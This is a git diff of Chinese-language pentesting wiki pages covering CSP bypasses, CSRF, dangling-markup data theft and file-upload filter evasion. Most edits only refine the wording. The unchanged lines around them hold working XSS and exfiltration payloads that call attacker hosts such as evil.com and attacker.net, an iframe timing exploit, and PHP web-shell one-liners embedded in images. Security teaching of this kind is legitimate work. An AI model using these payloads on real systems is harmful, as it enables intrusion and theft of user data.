您还可以利用此配置来**加载插入在图像中的javascript代码**。例如，如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**，**上传**到Twitter，并利用“**unsafe-inline**”来**执行**一段JS代码（作为常规XSS），该代码将**加载**该**图像**，**提取**其中的**JS**并**执行**它：[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如，如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**，**将其上传**到Twitter，并利用“**unsafe-inline**”来**执行**一段JS代码（作为常规XSS），该代码将**加载**该**图像**，**提取**其中的**JS**并**执行**它：[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### 使用服务工作者
|
||||
|
||||
@ -467,20 +467,20 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
因为这个指令将**覆盖现有的 script-src 指令**。\
|
||||
因为这个指令将会**覆盖现有的 script-src 指令**。\
|
||||
你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将**丢弃**整个**策略**。\
|
||||
在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将会**丢弃**整个**策略**。\
|
||||
例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; 通过 XSS (iframe) - 时间攻击
|
||||
|
||||
注意缺少指令 `'unsafe-inline'`\
|
||||
这次你可以让受害者通过 **XSS** 使用 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容，但如果你能**控制页面加载所需的时间**，你可以提取所需的信息。
|
||||
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容，但如果你能**控制页面加载所需的时间**，你就可以提取所需的信息。
|
||||
|
||||
这次将提取一个**标志**，每当通过 SQLi **正确猜测一个字符**时，**响应**由于 sleep 函数会**花费更多时间**。然后，你将能够提取标志:
|
||||
这次将会提取一个**标志**，每当通过 SQLi **正确猜测一个字符**时，**响应**会因为 sleep 函数而**花费更多时间**。然后，你将能够提取标志:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -542,7 +542,7 @@ run()
|
||||
```
|
||||
### 通过书签小程序
|
||||
|
||||
此攻击将涉及一些社会工程学，攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码，当被拖放或点击时，将在当前网页窗口的上下文中执行，**绕过CSP并允许窃取敏感信息**，例如cookies或tokens。
|
||||
此攻击将涉及一些社会工程学，攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码，当拖放或点击时，将在当前网页窗口的上下文中执行，**绕过CSP并允许窃取敏感信息**，例如cookies或tokens。
|
||||
|
||||
有关更多信息，请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
||||
|
||||
@ -556,8 +556,8 @@ run()
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
在 [**这个 CTF 文章**](https://github.com/aszx87410/ctf-writeups/issues/48) 中，通过 **HTML 注入** 可以 **进一步限制** **CSP**，从而禁用防止 CSTI 的脚本，因此 **漏洞变得可利用。**\
|
||||
可以使用 **HTML 元标签** 使 CSP 更加严格，并且可以通过 **移除** 允许其 **nonce** 的 **入口** 来禁用内联脚本，并通过 sha **启用特定的内联脚本**：
|
||||
在[**这个CTF写作**](https://github.com/aszx87410/ctf-writeups/issues/48)中，通过**HTML注入**可以**进一步限制**一个**CSP**，从而禁用防止CSTI的脚本，因此**漏洞变得可利用。**\
|
||||
可以使用**HTML元标签**使CSP变得更加严格，并且可以通过**移除**允许其**nonce**的**入口**来禁用内联脚本，并通过sha**启用特定的内联脚本：
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -589,28 +589,28 @@ document.querySelector("DIV").innerHTML =
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
通过监控哪些请求被CSP阻止或允许，可以缩小秘密子域名中可能的字符范围，最终揭示完整的URL。
|
||||
通过监控CSP阻止或允许的请求，可以缩小秘密子域名中可能的字符范围，最终揭示完整的URL。
|
||||
|
||||
这两种方法利用了CSP在浏览器中的实现和行为的细微差别，展示了看似安全的策略如何无意中泄露敏感信息。
|
||||
|
||||
技巧来自[**这里**](https://ctftime.org/writeup/29310)。
|
||||
来自[**这里**](https://ctftime.org/writeup/29310)的技巧。
|
||||
|
||||
## 绕过CSP的危险技术
|
||||
|
||||
### 参数过多时的PHP错误
|
||||
|
||||
根据[**这个视频中评论的最后一种技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)，发送过多参数（1001个GET参数，尽管你也可以使用POST参数和超过20个文件）。任何在PHP网页代码中定义的**`header()`**都**不会被发送**，因为这会触发错误。
|
||||
根据[**这个视频中评论的最后一个技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)，发送过多参数（1001个GET参数，尽管你也可以使用POST参数和超过20个文件）。在PHP网页代码中定义的任何**`header()`**都**不会被发送**，因为这将触发错误。
|
||||
|
||||
### PHP响应缓冲区溢出
|
||||
|
||||
PHP默认情况下**将响应缓冲到4096**字节。因此，如果PHP显示警告，通过提供**足够的数据在警告中**，**响应**将**在**CSP**头之前**被**发送**，导致头被忽略。\
|
||||
然后，这种技术基本上是**用警告填充响应缓冲区**，以便CSP头不被发送。
|
||||
PHP默认情况下**将响应缓冲到4096**字节。因此，如果PHP显示警告，通过提供**足够的数据在警告中**，**响应**将在**CSP头**之前**发送**，导致头被忽略。\
|
||||
然后，这个技术基本上是**用警告填充响应缓冲区**，以便CSP头不被发送。
|
||||
|
||||
想法来自[**这篇写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)。
|
||||
来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)的想法。
|
||||
|
||||
### 重写错误页面
|
||||
|
||||
根据[**这篇写作**](https://blog.ssrf.kr/69)，似乎可以通过加载一个错误页面（可能没有CSP）并重写其内容来绕过CSP保护。
|
||||
根据[**这个写作**](https://blog.ssrf.kr/69)，似乎可以通过加载一个错误页面（可能没有CSP）并重写其内容来绕过CSP保护。
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中**滥用** **同一来源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点，然后将攻击者页面刷新到您想要滥用的同一来源的真实端点来实现的。这样，**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问** **要滥用的真实端点的DOM**。有关更多信息，请查看：
|
||||
SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中**滥用****同一源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点，然后将攻击者页面刷新到您想要滥用的同一源的真实端点来实现的。这样，**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息，请查看：
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -627,7 +627,7 @@ SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中
|
||||
|
||||
此外，**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点，该端点将**反射**输出中发送的**数据**（仅限字母、数字和点的限制）。
|
||||
|
||||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入到`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中，请注意这个**脚本**将被**加载**，因为它是**被'self'允许的**。此外，由于安装了WordPress，攻击者可能会通过**易受攻击的** **回调**端点滥用**SOME攻击**，该端点**绕过CSP**以给予用户更多权限，安装新插件...\
|
||||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中，请注意这个**脚本**将被**加载**，因为它是**被'self'允许的**。此外，由于安装了WordPress，攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**，该端点**绕过CSP**以给予用户更多权限，安装新插件...\
|
||||
有关如何执行此攻击的更多信息，请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -674,11 +674,11 @@ document.head.appendChild(linkEl)
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
> [!NOTE]
|
||||
> 显然，这种技术在无头浏览器（机器人）中不起作用
|
||||
> 显然，这种技术在无头浏览器（机器人）中不起作用。
|
||||
|
||||
### WebRTC
|
||||
|
||||
在几个页面上你可以看到**WebRTC不检查CSP的`connect-src`策略**。
|
||||
在几个页面上，你可以看到**WebRTC不检查CSP的`connect-src`策略**。
|
||||
|
||||
实际上，你可以通过一个_DNS请求_来_泄露_信息。查看这段代码：
|
||||
```javascript
|
||||
|
||||
@ -11,12 +11,12 @@
|
||||
要利用 CSRF 漏洞，必须满足几个条件：
|
||||
|
||||
1. **识别有价值的操作**：攻击者需要找到一个值得利用的操作，例如更改用户的密码、电子邮件或提升权限。
|
||||
2. **会话管理**：用户的会话应仅通过 cookies 或 HTTP Basic Authentication 头进行管理，因为其他头无法用于此目的。
|
||||
2. **会话管理**：用户的会话应仅通过 cookies 或 HTTP Basic Authentication 头进行管理，因为其他头无法用于此目的进行操控。
|
||||
3. **缺乏不可预测的参数**：请求中不应包含不可预测的参数，因为它们可能会阻止攻击。
|
||||
|
||||
### 快速检查
|
||||
|
||||
您可以 **在 Burp 中捕获请求** 并检查 CSRF 保护，您可以从浏览器中点击 **复制为 fetch** 并检查请求：
|
||||
您可以在 **Burp** 中捕获请求并检查 CSRF 保护，您可以从浏览器中点击 **复制为 fetch** 并检查请求：
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -30,7 +30,7 @@
|
||||
- **检查引荐或来源头**：验证这些头可以帮助确保请求来自受信任的来源。然而，精心构造的 URL 可以绕过实施不当的检查，例如：
|
||||
- 使用 `http://mal.net?orig=http://example.com`（URL 以受信任的 URL 结尾）
|
||||
- 使用 `http://example.com.mal.net`（URL 以受信任的 URL 开头）
|
||||
- **修改参数名称**：更改 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。
|
||||
- **修改参数名称**：在 POST 或 GET 请求中更改参数名称可以帮助防止自动化攻击。
|
||||
- **CSRF 令牌**：在每个会话中引入唯一的 CSRF 令牌，并要求在后续请求中使用该令牌，可以显著降低 CSRF 的风险。通过强制实施 CORS，可以增强令牌的有效性。
|
||||
|
||||
理解和实施这些防御措施对于维护 web 应用程序的安全性和完整性至关重要。
|
||||
@ -47,7 +47,7 @@
|
||||
|
||||
### CSRF 令牌未与用户会话绑定
|
||||
|
||||
未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池**，而不是确保每个令牌与发起会话绑定。
|
||||
未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池** 而不是确保每个令牌绑定到发起会话。
|
||||
|
||||
攻击者如何利用这一点：
|
||||
|
||||
@ -136,11 +136,11 @@ form.submit()
|
||||
```
|
||||
### 绕过 JSON 数据的预检请求
|
||||
|
||||
在尝试通过 POST 请求发送 JSON 数据时，直接在 HTML 表单中使用 `Content-Type: application/json` 是不可能的。同样，利用 `XMLHttpRequest` 发送此内容类型会启动预检请求。然而，有一些策略可以潜在地绕过此限制，并检查服务器是否处理 JSON 数据，而不考虑 Content-Type：
|
||||
在尝试通过 POST 请求发送 JSON 数据时，直接在 HTML 表单中使用 `Content-Type: application/json` 是不可能的。同样，利用 `XMLHttpRequest` 发送这种内容类型会启动预检请求。然而，有一些策略可以潜在地绕过这一限制，并检查服务器是否处理 JSON 数据而不考虑 Content-Type：
|
||||
|
||||
1. **使用替代内容类型**：通过在表单中设置 `enctype="text/plain"`，使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。这种方法测试后端是否使用数据，而不考虑 Content-Type。
|
||||
2. **修改内容类型**：为了避免预检请求，同时确保服务器将内容识别为 JSON，您可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求，但如果服务器配置为接受 `application/json`，可能会被正确处理。
|
||||
3. **使用 SWF Flash 文件**：一种不太常见但可行的方法是使用 SWF Flash 文件来绕过此类限制。有关此技术的深入理解，请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
|
||||
2. **修改内容类型**：为了避免预检请求，同时确保服务器将内容识别为 JSON，可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求，但如果服务器配置为接受 `application/json`，可能会被正确处理。
|
||||
3. **SWF Flash 文件利用**：一种不太常见但可行的方法是使用 SWF Flash 文件来绕过此类限制。有关此技术的深入理解，请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
|
||||
|
||||
### 引用/来源检查绕过
|
||||
|
||||
@ -189,7 +189,7 @@ document.forms[0].submit()
|
||||
```
|
||||
### **HEAD 方法绕过**
|
||||
|
||||
[**这个 CTF 文章**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了 [Oak 的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281)，一个路由器被设置为 **将 HEAD 请求作为 GET 请求处理**，且没有响应体 - 这是一种常见的解决方法，并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求，而是 **直接交给 GET 处理程序，但应用程序只是移除了响应体**。
|
||||
[**这个 CTF 文章**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了 [Oak 的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281)，一个路由器被设置为 **将 HEAD 请求作为 GET 请求处理**，且没有响应体 - 这是一种常见的变通方法，并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求，而是 **直接交给 GET 处理程序，但应用程序只是移除了响应体**。
|
||||
|
||||
因此，如果 GET 请求受到限制，你可以 **发送一个将被处理为 GET 请求的 HEAD 请求**。
|
||||
|
||||
@ -197,7 +197,7 @@ document.forms[0].submit()
|
||||
|
||||
### **提取 CSRF 令牌**
|
||||
|
||||
如果正在使用 **CSRF 令牌** 作为 **防御**，你可以尝试 **利用** [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/) 漏洞来 **提取它**。
|
||||
如果 **CSRF 令牌** 被用作 **防御**，你可以尝试 **利用** [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/index.html) 漏洞来 **提取它**。
|
||||
|
||||
### **使用 HTML 标签的 GET**
|
||||
```xml
|
||||
@ -588,7 +588,7 @@ room: username,
|
||||
```
|
||||
## CSRF 登录暴力破解
|
||||
|
||||
该代码可用于通过 CSRF 令牌对登录表单进行暴力破解（它还使用了 X-Forwarded-For 头来尝试绕过可能的 IP 黑名单）：
|
||||
该代码可用于通过 CSRF 令牌对登录表单进行暴力破解（它还使用了 X-Forwarded-For 头以尝试绕过可能的 IP 黑名单）：
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
||||
@ -4,10 +4,10 @@
|
||||
|
||||
## Resume
|
||||
|
||||
此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS**](../xss-cross-site-scripting/)的方法，但可以**注入一些HTML标签**，这非常有用。\
|
||||
如果某些**秘密以明文形式保存在HTML中**，并且您想要**从客户端提取**它，或者如果您想误导某些脚本执行，这也很有用。
|
||||
此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/index.html)的方法，但可以**注入一些HTML标签**，这非常有用。\
|
||||
如果某些**秘密以明文形式保存在HTML中**，并且您想从客户端**提取**它，或者如果您想误导某些脚本执行，这也很有用。
|
||||
|
||||
这里评论的几种技术可以通过以意想不到的方式（html标签、CSS、http-meta标签、表单、base等）提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
|
||||
这里评论的几种技术可以通过以意想不到的方式（html标签、CSS、http-meta标签、表单、base等）提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/index.html)。
|
||||
|
||||
## Main Applications
|
||||
|
||||
@ -55,9 +55,9 @@ steal me'<b>test</b>
|
||||
I get consumed!
|
||||
</button>
|
||||
```
|
||||
攻击者可以利用此方法窃取信息。
|
||||
攻击者可以利用这一点窃取信息。
|
||||
|
||||
在此[**报告中找到此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
|
||||
在这个[**报告中找到此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
|
||||
|
||||
### 窃取明文秘密 2
|
||||
|
||||
@ -67,7 +67,7 @@ I get consumed!
|
||||
```
|
||||
该输入字段将包含其双引号之间的所有内容以及下一个双引号中的内容。这种攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”混合在一起。
|
||||
|
||||
您可以通过注入一个表单和一个`<option>`标签来做同样的事情。直到找到一个关闭的`</option>`为止，所有数据将被发送：
|
||||
您可以通过注入一个表单和一个`<option>`标签来做同样的事情。直到找到一个关闭的`</option>`为止，所有数据都将被发送：
|
||||
```html
|
||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||
```
|
||||
@ -94,15 +94,15 @@ I get consumed!
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
### Bypassing CSP with user interaction
|
||||
### 通过用户交互绕过CSP
|
||||
|
||||
从这个 [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) 中你可以了解到，即使在 **最严格的 CSP** 环境中，你仍然可以通过一些 **用户交互** 来 **提取数据**。在这种情况下，我们将使用以下有效载荷：
|
||||
从这个 [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) 中你可以了解到，即使在 **最严格的CSP** 环境中，你仍然可以通过一些 **用户交互** 来 **提取数据**。在这种情况下，我们将使用以下有效载荷：
|
||||
```html
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
请注意，您将要求**受害者**点击一个**链接**，该链接将**重定向**他到您控制的**有效载荷**。还要注意，**`base`**标签中的**`target`**属性将包含**HTML内容**，直到下一个单引号。\
|
||||
这将使得如果点击链接，**`window.name`**的**值**将是所有的**HTML内容**。因此，由于您**控制了受害者**通过点击链接访问的页面，您可以访问该**`window.name`**并**提取**该数据：
|
||||
这将使得如果点击该链接，**`window.name`**的**值**将是所有的**HTML内容**。因此，由于您**控制了受害者**通过点击链接访问的页面，您可以访问该**`window.name`**并**提取**该数据：
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
|
||||
... function submit_status_update() { ... request.share_with =
|
||||
document.getElementById('share_with').value; ... }
|
||||
```
|
||||
### 误导性脚本工作流 2 - 脚本命名空间攻击
|
||||
### 误导性脚本工作流程 2 - 脚本命名空间攻击
|
||||
|
||||
通过插入 HTML 标签在 JavaScript 命名空间内创建变量。然后，这个变量将影响应用程序的流程：
|
||||
```html
|
||||
@ -161,7 +161,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
这可以通过类似于：`sandbox=' allow-scripts allow-top-navigation'` 来缓解。
|
||||
这可以通过类似于： `sandbox=' allow-scripts allow-top-navigation'` 来缓解。
|
||||
|
||||
iframe 也可以被滥用来泄露来自不同页面的敏感信息 **使用 iframe name 属性**。这是因为你可以创建一个 iframe，它自身嵌套 iframe，利用 HTML 注入使 **敏感信息出现在 iframe name 属性中**，然后从初始 iframe 访问该名称并泄露它。
|
||||
```html
|
||||
@ -197,7 +197,7 @@ onload="cspBypass(this.contentWindow)"></iframe>
|
||||
|
||||
## SS-Leaks
|
||||
|
||||
这是 **dangling markup 和 XS-Leaks** 之间的 **混合**。一方面，漏洞允许在 **同源** 的页面中 **注入 HTML**（但不包括 JS）。另一方面，我们不会直接 **攻击** 可以注入 HTML 的页面，而是 **另一个页面**。
|
||||
这是 **dangling markup 和 XS-Leaks** 的 **混合**。一方面，漏洞允许在 **同源** 的页面中 **注入 HTML**（但不包括 JS）。另一方面，我们不会直接 **攻击** 可以注入 HTML 的页面，而是 **另一个页面**。
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
|
||||
@ -18,10 +18,10 @@
|
||||
### 绕过文件扩展名检查
|
||||
|
||||
1. 如果适用，**检查** **之前的扩展名**。也可以使用一些**大写字母**进行测试：_pHp, .pHP5, .PhAr ..._
|
||||
2. _检查**在执行扩展名之前添加一个有效扩展名**（也使用之前的扩展名）：_
|
||||
2. _检查**在执行扩展名之前添加有效扩展名**（也使用之前的扩展名）：_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. 尝试在末尾添加**特殊字符**。可以使用 Burp 来**暴力破解**所有的**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
|
||||
3. 尝试在末尾添加**特殊字符**。你可以使用 Burp 来**暴力破解**所有的**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护，使用像**双重**扩展名或**添加垃圾**数据（**空**字节）在扩展名之间。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
|
||||
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护，使用像**双重**扩展名或在扩展名之间**添加垃圾**数据（**null**字节）等技术。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,18 +40,18 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. 在之前的检查中添加**另一层扩展名**：
|
||||
5. 为之前的检查添加**另一层扩展名**：
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. 尝试将**执行扩展名放在有效扩展名之前**，并祈祷服务器配置错误。（有助于利用 Apache 配置错误，其中任何带有扩展名**_**.php**_**的内容，但**不一定以 .php**_**结尾的内容将执行代码）：
|
||||
6. 尝试将**执行扩展名放在有效扩展名之前**，并祈祷服务器配置错误。（有助于利用 Apache 配置错误的情况，其中任何带有扩展名**_**.php**_**的内容，但不一定以 .php** 结尾的内容将执行代码）：
|
||||
- _例如: file.php.png_
|
||||
7. 在**Windows**中使用**NTFS 备用数据流 (ADS)**。在这种情况下，禁止扩展名后和允许扩展名前会插入一个冒号字符“:”。因此，服务器上将创建一个**带有禁止扩展名的空文件**（例如“file.asax:.jpg”）。该文件可以稍后使用其他技术进行编辑，例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此，在此模式后添加一个点字符也可能有助于绕过进一步的限制（例如“file.asp::$data.”）
|
||||
7. 在**Windows**中使用**NTFS 备用数据流 (ADS)**。在这种情况下，冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此，将在服务器上创建一个**带有禁止扩展名的空文件**（例如“file.asax:.jpg”）。该文件可以稍后使用其他技术进行编辑，例如使用其短文件名。可以使用“**::$data**”模式来创建非空文件。因此，在此模式后添加一个点字符也可能有助于绕过进一步的限制（例如“file.asp::$data.”）
|
||||
8. 尝试打破文件名限制。有效扩展名被截断，恶意 PHP 被保留。AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux 最大 255 字节
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png
|
||||
# 上传文件并检查响应允许多少个字符。假设 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -67,7 +67,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` 或者你也可以**直接在图像中引入有效载荷**：\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- 如果**压缩被添加到你的图像**，例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php)，那么之前的技术将无效。然而，你可以使用**PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，使其**在压缩中存活**。
|
||||
- 如果**压缩被添加到你的图像**，例如使用一些标准的 PHP 库，如 [PHP-GD](https://www.php.net/manual/fr/book.image.php)，那么之前的技术将无效。然而，你可以使用**PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，使其**在压缩中存活**。
|
||||
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 网页也可能在**调整图像大小**，例如使用 PHP-GD 函数 `imagecopyresized` 或 `imagecopyresampled`。然而，你可以使用**IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，使其**在压缩中存活**。
|
